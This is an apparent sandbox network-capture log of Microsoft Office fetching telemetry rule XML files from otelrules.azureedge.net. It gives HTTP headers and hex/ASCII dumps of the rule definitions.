2024-11-18 07:55:20 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-18 07:55:20 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-18 07:55:20 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-18 07:55:20 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075521Z-16547b76f7fjx5nrhC1DFW4dsc00000002tg000000000ant x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075521Z-16547b76f7fzwxm2hC1DFWt5hw000000030g00000000ehzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:22 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075521Z-1866b5c5fbbbf2bdhC1DFWu6f400000002m000000000272x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075521Z-16547b76f7fd77jrhC1DFWfwq000000002700000000050zq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: f39a0a9a-101e-0046-2da4-3791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075521Z-164f84587bfmxxfphC1DFW3au80000000400000000004ncz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 07:55:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 6cd7b429-001e-0034-76a2-37dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075522Z-164f84587bfh9nvdhC1DFWmce000000003bg00000000d44r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c0944ef9-c01e-007a-107c-37b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075522Z-164f84587bf28gjzhC1DFW35kg00000005d000000000amzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075522Z-16547b76f7f6nr89hC1DFWz7ug00000001t000000000bbk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:22 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075522Z-16547b76f7fgfpmjhC1DFWw6ec0000000510000000002zzb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: f6a022a0-001e-0034-7476-39dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075522Z-1866b5c5fbbls4jchC1DFWnmb400000000zg000000000ts5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
